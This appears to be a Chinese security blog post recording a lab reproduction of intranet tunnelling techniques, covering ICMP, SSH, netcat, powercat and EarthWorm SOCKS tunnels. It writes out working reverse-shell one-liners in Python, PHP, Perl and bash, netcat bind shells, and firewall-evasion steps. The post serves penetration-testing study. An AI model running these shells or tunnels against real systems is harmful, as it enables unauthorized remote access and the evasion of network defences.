<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透之隱藏通信隧道技術

    VSole2022-12-05 11:02:46

    前言

    前段時間讀了讀徐哥的《內網安全攻防》,并復現了部分知識點,寫篇文章記錄下學習內容。

    何為隱藏通信隧道技術?

    意義

    當我們成功殺入內網并完成信息收集后,下一步要進行的就是判斷內網的連通性(也就是各種各樣的流量包能否出的去、進的來),隱藏通信隧道技術通常用于在訪問受限的內網環境中完成內網之內、內網與公網之間安全、穩定的數據傳輸。

    簡介

    在最簡單的情況下,兩臺主機之間數據的交換建立在TCP/IP協議之上,也就是說知道了IP、建立了TCP連接,那么兩臺主機便可以進行數據傳輸。

    但在大多數情況下,內網的環境存在多種邊界設備以及入侵檢測裝置的限制,它們會對主機間或者內網與外網之間通信的流量進行檢測,如果存在異常就會進行攔截,這無疑給內網滲透增加了難度,而隱藏通信隧道技術就是為了繞過各種邊界設備的封鎖,從而完成主機間或內網與外網之間的通信。

    常見隧道

    網絡層:IPV6隧道、ICMP隧道

    傳輸層:TCP隧道、UDP隧道、端口轉發

    應用層:SSH隧道、HTTP(S)隧道、DNS隧道

    接下來將從三種隧道中各選幾種進行試驗

    網絡層

    1.IPV6隧道

    工具:6tunnel(kali自帶)

    目標機:winserver 2008

    攻擊機:kali

    首先開啟目標機上的IPV6(實戰中這一步一般由滲透測試人員上傳的軟件開啟)

    查看目標機的IPV6地址

    在攻擊機中運行

    sudo su6tunnel -4 80  fe80::6090:bbdf:8c09:68d6%eth0 80
    

    這條命令的含義就是將目標機的80端口(目標機使用IPV6地址)轉發到本機的80端口上(本機使用IPV4地址)

    轉發成功后,訪問本機80端口便可以訪問到目標機上正在運行的web服務

    2.ICMP隧道

    在一般的情況下,如果兩臺主機要進行通信,必須要開放相應的端口,比如ssh-22端口,rdp-3389端口,但如果使用ICMP隧道,則不需要開放任何的端口,所以ICMP隧道十分簡單、實用

    在滲透測試中,如果防火墻對各種上層協議(HTTP.HTTPS,DNS等)的數據包進行了封鎖,那么我們可以嘗試一下網管常常漏掉的ICMP協議包,我們可以將TCP數據包封裝到ICMP數據包中,如果防火墻不對ICMP包進行攔截,那么我們便可以實現對防火墻的突破

    工具:icmpsh

    下載地址:https://gitee.com/WeiyiGeek/icmpshell.git(github下載太慢,就換了個國內的)

    安裝python的impacket類庫,以便于對各類協議進行訪問

    apt-get install python3-impacket
    

    但是筆者這里的安裝并不順利,所以就采用了另一種安裝方法:

    直接從github上下載源碼并運行地址:

    python setup.py install
    

    如此impacket便安裝成功

    由于icmpsh要代替系統本身的ping應答,所以要關閉一下系統的ping應答,否則工具將無法穩定運行

    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    

    進入目錄后運行

    ./run.sh
    

    依次輸入攻擊機IP和受害機IP便會自動輸出需要在受害機上運行的命令

    在受害機運行

    在攻擊機上便可以見到回彈shell

    工具:pingtunnel

    本次測試網絡拓撲圖:

    測試環境:攻擊機可以訪問web服務器,不能訪問數據庫服務器

    web服務器只能通過ICMP協議訪問數據庫服務器

    滲透目標:利用工具使攻擊機可以訪問數據庫服務器的3389

    首先要安裝工具

    wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
    tar -xzvf PingTunnel-0.72.tar.gz
    cd PingTunnel
    make && make install
    

    如果報pcap.h缺失:


    wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz 
    tar zxvf libpcap-1.9.0.tar.gz 
    cd libpcap-1.9.0 
    ./configure
    

    最后一步過程中又會報Neither flex nor lex was found的錯誤:


    apt-get install flex bison
    

    繼續執行:


    ./configuremakesudo make install
    

    回到pingtunnel目錄重新執行


    make && make install
    

    攻擊機工具安裝完成

    接下來還要在web服務器上安裝工具,安裝過程類似不多贅述

    在web服務器運行命令


    ptunnel -x haixian
    

    這條命令便是在web服務器上開啟一個密碼為haixian的icmp隧道

    接下來在攻擊機上執行


    ptunnel -p 192.168.1.5 -lp 1080 -da 192.168.1.2 -dp 3389 -x haixian
    

    這條命令的意思是,當訪問攻擊機的1080端口時,數據庫服務器3389端口的數據便會以web服務器為中轉,通過剛剛搭建好的以haixian為密碼的ICMP隧道傳送到攻擊機的1080端口上

    接下來訪問本機的1080端口便可以連接到數據庫服務器的遠程桌面了(3389)

    同理,我們可以連接數據庫服務器的SSH(22端口)或者數據庫服務(如果是mysql的話為3306端口),這里不再贅述

    傳輸層

    1.端口轉發

    工具:lcx

    下載地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcxvuln.cn.zip

    lcx是一個非常經典的端口轉發工具,在linux或者windows中均可使用,lcx的原理就是搭建Socket隧道,一個正常的Socket隧道必須具備兩端:客戶端、服務端,服務端開啟監聽端口,客戶端傳入服務端的IP與端口,主動與服務端連接

    在受害機上執行


    lcx.exe -slave 192.168.1.4(攻擊機IP) 4444 127.0.0.1 3389
    

    這條命令的意思就是將本機的3389端口轉發到攻擊機的4444端口上

    之后在攻擊機上執行


    ./portmap -m 2 -p1 4444 -h2 192.168.1.4 -p2 5555
    這條命令的意思就是將本地4444端口接收的數據轉發到5555端口
    

    在攻擊機訪問本機5555端口

    可見成功訪問受害機遠程桌面(3389端口)

    2.netcat

    kali上會自帶這個工具,可以使用


    nc -help
    

    查看netcat的安裝情況

    netcat部分參數介紹


    -p 指定端口-v 顯示細節-u 使用UDP傳輸協議-l 監聽模式-w 設置超時時間
    Banner抓取
    

    這是一種在特定端口檢索關于特定服務信息的技術,在滲透測試中常用于信息收集或者尋找漏洞

    現在我們嘗試抓取winserver 2008(192.168.1.2)3389端口的相關信息


    nc -nv 192.168.1.2 3389
    

    使用


    nc -nvv 192.168.1.2 3389
    

    嘗試連接3389

    端口掃描

    掃描80端口


    nc -v  192.168.1.2 80
    

    可以看到目標主機的80端口是開啟的

    獲得shell

    (1).正向shell

    即攻擊機主動去連接受害機,正向連接使用頻率較少,因為這種shell很容易被各種邊界設備所攔截

    在受害機中執行


    nc -lvp 4444 -e /bin/sh
    

    這條命令的意思是把/bin/sh發送給請求本機4444端口的終端

    在攻擊機上執行


    nc 192.168.1.5 444
    

    去主動連接受害機的4444端口

    在攻擊機上使用ifconfig查看IP發現已經是受害機的IP

    (2).反向shell

    即受害及主動來連接攻擊機,這種方法在滲透測試中更為常用,因為它可以突破許多邊界設備的封鎖

    在攻擊機上執行


    nc -lvp 5555
    

    開始監聽本機5555端口

    接下來在受害機中執行


    nc 192.168.1.4 5555 -e /bin/sh
    這條命令的意思就是去主動連接攻擊機的5555端口并把/bin/sh傳送給5555端口
    

    可以看到在攻擊機上已經收到了受害機的shell

    但這個實驗是建立在受害機已經安裝netcat這個工具了,而實際情況下如果沒有安裝應該怎么辦呢?

    1.使用python反彈shell

    執行如下命令,在攻擊機上監聽本地1234端口

    在受害機中執行


    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻擊機IP",攻擊機監聽的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    攻擊機上收到回彈shell

    但是這種方法又建立在受害及上存在python環境的情況下

    如果受害機上沒有python環境怎么辦呢?

    2.php反彈shell

    如果沒有python環境,但受害機上存在php環境,那么也可以利用php反彈shell

    執行如下命令,在攻擊機上監聽本地2021端口

    在受害機上執行


    php -r '$sock=fsockopen("攻擊機ip",攻擊機監聽的端口);exec("/bin/bash -i <&3 >&3 2>&3");'
    

    可以看到在攻擊機上以及收到了反彈shell

    那如果在受害機上既沒有python環境又沒有php環境該怎么辦呢?

    3.perl反彈shell

    如果目標機器上使用的是perl語言,那么我們還可以使用perl反彈shell

    攻擊機本地監聽4321端口


    nc -lvp 4321
    

    受害機執行


    perl -e 'use Socket;$i="攻擊機ip";$p=攻擊機監聽端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    可以在攻擊機上收到反彈shell

    4.bash反彈shell

    那么如果在受害機上以上三種語言環境都不存在怎么辦呢?

    執行如下命令,在攻擊機上監聽6666端口


    nc -lvp 6666
    

    在受害機中執行


    bash -i >& /dev/tcp/192.168.1.4/6666 0>&1
    

    將受害機上的輸入與輸出以TCP流的形式重定向到攻擊機的6666端口

    可以看到在攻擊機上收到了受害機的反彈shell

    5.內網代理實驗

    本次實驗工具:web服務器(kali)、數據庫服務器(win server 2008)、攻擊機(kali)

    本次實驗網絡拓撲圖:

    實驗條件:攻擊機可以訪問到web服務器,但訪問不到數據庫服務器,web服務器可以訪問攻擊機,也可以訪問數據庫服務器,攻擊機無法直接訪問數據庫服務器,通過前期滲透已經取得了web服務器的權限

    首先在攻擊機上執行命令監聽本機9999端口


    nc -lvp 9999
    

    然后在數據庫服務器中執行


    nc -lvp 9999 -e c:\windows\system32\cmd.exe
    

    將本機的cmd.exe傳送到請求9999端口的主機

    最后在web服務器(跳板機)中執行


    nc -v 192.168.1.4 9999 -c "nc -v 192.168.1.2 9999"
    

    這條命令的意思就是web服務器先去連接攻擊機,連上之后立刻去連接數據庫服務器的9999端口,連接成功后把兩個隧道合并為一條隧道(請自行腦補~)

    可見在攻擊機中收到了來自數據包庫服務器的反彈shell

    3.Powercat

    工具下載地址:https://github.com/besimorhino/powercat

    工具下載后需要導入powercat.ps1腳本后才可以正常使用powercat

    執行


    Import-Module .\powercat.ps1
    

    導入腳本,有可能會報權限不夠,需要修改權限

    執行


    Set-ExecutionPolicy RemoteSigned
    

    然后就可以導入腳本了

    如圖所示,接下來就可以正常的使用powercat了

    powercat部分參數介紹


    -c 指定一個ip地址-p 指定一個端口-v 顯示詳情-l 監聽模式-e 程序重定向
    

    通過nc正向連接powercat

    在win server 2008中執行


    powercat -l -p 8888 -e cmd.exe -v
    

    這條命令的意思是把cmd.exe數據包發送給請求本機8888端口的主機

    在攻擊機中執行


    nc 192.168.1.2 8888 -vv
    

    可以看到已經接收到了win server2008 的shell

    使用nc反向連接powercat

    在攻擊機中執行


    nc -l -p 5678 -vv
    

    開啟監聽本機5678端口

    接下來在win server2008執行


    powercat -c 192.168.1.4 -p 5678 -v -e cmd.exe
    

    主動去連接攻擊機

    可以看到在攻擊機中收到了反彈shell

    powercat之間互相連接反彈powershell

    首先在win server 2008上執行


    powercat -l -p 3333 -v
    

    監聽本機3333端口

    接下來在WIN7上執行


    powercat -c 192.168.1.2 -p 3333 -v -ep
    

    可以看到在win server 2008上已經收到了來自WIN7的powershell

    應用層

    1.SSH

    幾乎所有的unix/linux主機都支持SSH協議,都可以通過SSH通信而在現實情況中,網管員經常會使用SSH連接來遠程管理內網中的主機,所以一般情況下,邊界設備并不會攔截SSH流量,加之SSH流量是加密的,一般的入侵檢測工具很難檢測出SSH流量的異常,所以滲透測試人員往往能通過SSH建立起一些其他隧道難以建立的TCP通信隧道

    SSH常見參數


    -C 壓縮傳輸-f 后臺執行SSH-N 建立靜默連接-g 允許遠程主機連接本地用于轉發的端口-L 本地端口轉發-R 遠程端口轉發-D 動態轉發-P 指定SSH端口
    

    (1).本地轉發

    本次實驗網絡拓撲圖:

    實驗環境:攻擊機無法訪問數據庫服務器,可以訪問web服務器且已獲得web服務器的權限,web服務器和數據庫服務器可以互相訪問

    實驗目標:通過本地端口轉發,訪問攻擊機本地的2021端口便可以打開數據庫服務器的遠程桌面

    首先在攻擊機上執行


    ssh -CfNg -L 2021:192.168.1.2:3389 root@192.168.1.5
    

    這條命令的意思就是攻擊機去連接web服務器,連上之后由web服務器去連接數據庫服務器的3389端口并把數據通過SSH通道傳給攻擊機

    會提示輸入web服務器的密碼,輸入密碼

    由于我們選擇的是靜默模式,所以可以本地查看一下2021端口是否被監聽來檢查通道的建立是否正常


    netstat -tulnp | grep "2021"
    

    可以看到2021端口正在被ssh服務監聽,證明通道搭建成功

    接下來在攻擊機訪問把本地2021端口即可打開數據庫服務器的遠程桌面


    rdesktop 127.0.0.1:2021
    

    (2).遠程轉發

    本次實驗網絡拓撲圖:

    實驗環境:

    攻擊機無法訪問數據庫服務器,也無法訪問web服務器但已獲得web服務器的權限,web服務器和數據庫服務器可以互相訪問,web服務器可以訪問具有公網IP的攻擊機

    實驗目標:通過訪問攻擊機本機的7890端口來訪問數據庫服務器的3389端口

    在web服務器上執行


    ssh -CfNg -R 7890:192.168.1.2:3389 root@192.168.1.4
    

    這條命令的意思是此時的web服務器雖然依舊是跳板,但是無論是連接數據庫服務器的3389還是去連接攻擊機的7890都是web服務器主動發起

    輸入攻擊機的密碼

    在攻擊機訪問本地7890端口


    rdesktop 127.0.0.1:7890
    


    (3).動態轉發

    本次實驗網絡拓撲圖:

    在攻擊機上執行


    ssh -CfNg -D 6000 root@192.168.1.5
    

    此條命令搭建了一個動態的SOCKS代理通道

    輸入web服務器密碼后執行


    netstat -tulnp | grep ":6000"
    

    查看連接情況

    連接成功

    例:在本地瀏覽器設置好SOCKS代理后可以訪問到數據庫服務器上開放的web服務

    2.HTTP/HTTPS隧道

    這種隧道筆者已經在文章https://www.freebuf.com/articles/web/262820.html中已經講解,這里不多贅述

    3.SOCKS代理

    SOCKS可以簡單的把兩個系統連接到一起,SOCKS支持多種協議,可以理解為升級版的lcx

    常見工具:EarthWorm、SocksCap64、ProxyChains

    (1).EW

    工具下載地址:https://github.com/rootkiter/EarthWorm

    正向代理

    攻擊機本地執行


    ew -s ssocksd -l 888
    

    這種連接方式是攻擊機主動去找受害機,所以這里的受害機需要具有公網IP(攻擊機可以直接去訪問受害機)

    反向代理

    本次實驗網絡拓撲圖:

    首先在攻擊機上執行


    ./ew_for_linux64 -s rssocks -l 1080 -e 1234
    在本地添加轉接隧道,將1080收到的數據轉發給1234端口
    

    在web服務器上執行


    ew.exe -s rssocks -d 192.168.1.4 -e 1234
    

    可在攻擊機上收到回顯

    至此,socks代理隧道搭建成功,攻擊機便可以通過此隧道訪問受害機任意服務(服務開啟)

    二級網絡環境試驗1:

    本次實驗網絡拓撲圖:

    實驗環境

    web服務器可以訪問外網和數據庫服務器,數據庫服務器不能訪問外網,只能訪問內網資源

    實驗目標:通過訪問攻擊機本地端口訪問架設在數據庫服務器上的SOCKS隧道從而訪問內網資源

    首先在主機上執行


    ./ew_for_linux64 -s ssocksd -l 888
    

    啟動888端口的SOCKS代理

    然后在web服務器中執行


    ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.1.4 -g 888
    

    使web服務器去主動連接攻擊機和數據庫服務器

    接下來就可以通過訪問攻擊機的1080端口去使用搭建好的SOCKS隧道了

    二級網絡環境試驗2:

    本次實驗網絡拓撲圖:

    實驗環境:

    A主機沒有公網IP但可以訪問公網,不可以訪問內網,B主機可以訪問內網,不能訪問外網

    實驗目標:

    通過訪問攻擊機上的10800端口來訪問B主機上的SOCKS隧道,從而訪問內網資源

    首先在攻擊機上執行


    ./ew_for_linux64 -s lcx_listen -l 10800 -e 888
    

    添加轉接隧道,將10800端口收到的代理請求轉發到888端口

    下面在B主機中執行


    ew_for_Win.exe -s ssocksd -l 999
    

    開啟999端口的SOCKS代理

    最后,在A主機中執行


    ./ew_for_linux64 -s lcx_slave -d 192.168.1.4 -e 888 -f 192.168.1.2 -g 999
    

    利用slave方式,將攻擊機的888端口與B主機的999端口連接

    可以在攻擊機上看到隧道搭建成功提示

    接下來可以使用SocksCap64等代理工具對socks隧道進行利用,方法較為簡單,這里不再贅述

    參考資料:

    《內網安全攻防:滲透測試實戰指南》徐焱、賈曉璐

    https://blog.csdn.net/weixin_42652002/article/details/112070453

    端口轉發端口監聽
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    筆者在工作中遇到此場景,如下兩條網絡限制下,總部如何訪問分公司內部web服務器?dmz服務器可以訪問總部外網服務器22端口,不可以訪問web服務器;web服務器不可訪問公網,但是到dmz網絡無限制。
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口
    Windows如果RDP連接上去,可以使用圖形化工具(如御劍)。如果是webshell,可以使用fscan、nmap。重命名Dir,方便后續操作。將客戶端配置刪除?服務端監聽地址?服務端儀表板的端口。log_level記錄的日志級別。執行命令等待frpc連接./frps?#是該條規則在服務端開放的端口號,待會兒用proxyfier連的端口
    #Cobalt Strike 主要用于團隊作戰,可謂是團隊滲透神器,能讓多個攻擊者同時連接到團體服務器上,共享攻擊資源與目標信息和sessions。#Cobalt Strike 作為一款協同APT工具,針對內網的滲透測試和作為apt的控制終端功能,使其變成眾多APT組織的首選。
    Cobalt strike(下面簡稱 CS)# 眾所周知,CS是一個以MSF為基礎的GUI框架式“多人運動”滲透測試工具,集成了端口轉發、服務掃描、自動化溢出,多模式端口監聽,exe、powershell木馬生成等.# 釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等。# Cobalt Strike 主要用于團隊作戰,可謂是團隊滲透神器,能讓多個攻擊者同時連接到團體服務器上,共
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    一. 應用層隧道技術1. ssh隧道建立雙向安全隧道將其他TCP端口的通信通過SSH連接轉發用SSH作為傳輸層協議,對流量自動加解密突破防火墻訪問規則的限制SSH本地端口轉發本機偵聽端口
    SSH的使用詳解
    2022-04-19 07:24:57
    今天為大家分享一篇關于SSH 的介紹和使用方法的文章。本文從SSH是什么出發,講述了SSH的基本用法,之后在遠程登錄、端口轉發等多種場景下進行獨立的講述,希望能對大家有所幫助。
    內網滲透-代理篇
    2021-12-01 05:44:01
    利用代理工具將內網的流量代理到本地進行訪問,這樣就可以對內網進行下一步滲透,同時也可以利用代理工具將其他網段的流量轉發到本地進行縱向滲透。代理的本質是Socks協議(防火墻安全會話轉換協議),工作在OSI參考模型的第5層(會話層)。使用TCP協議傳輸數據,因而不提供如傳遞ICMP信息之類的網絡層相關服務。目前支持SOCKS4和SOCKS5兩個版本:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类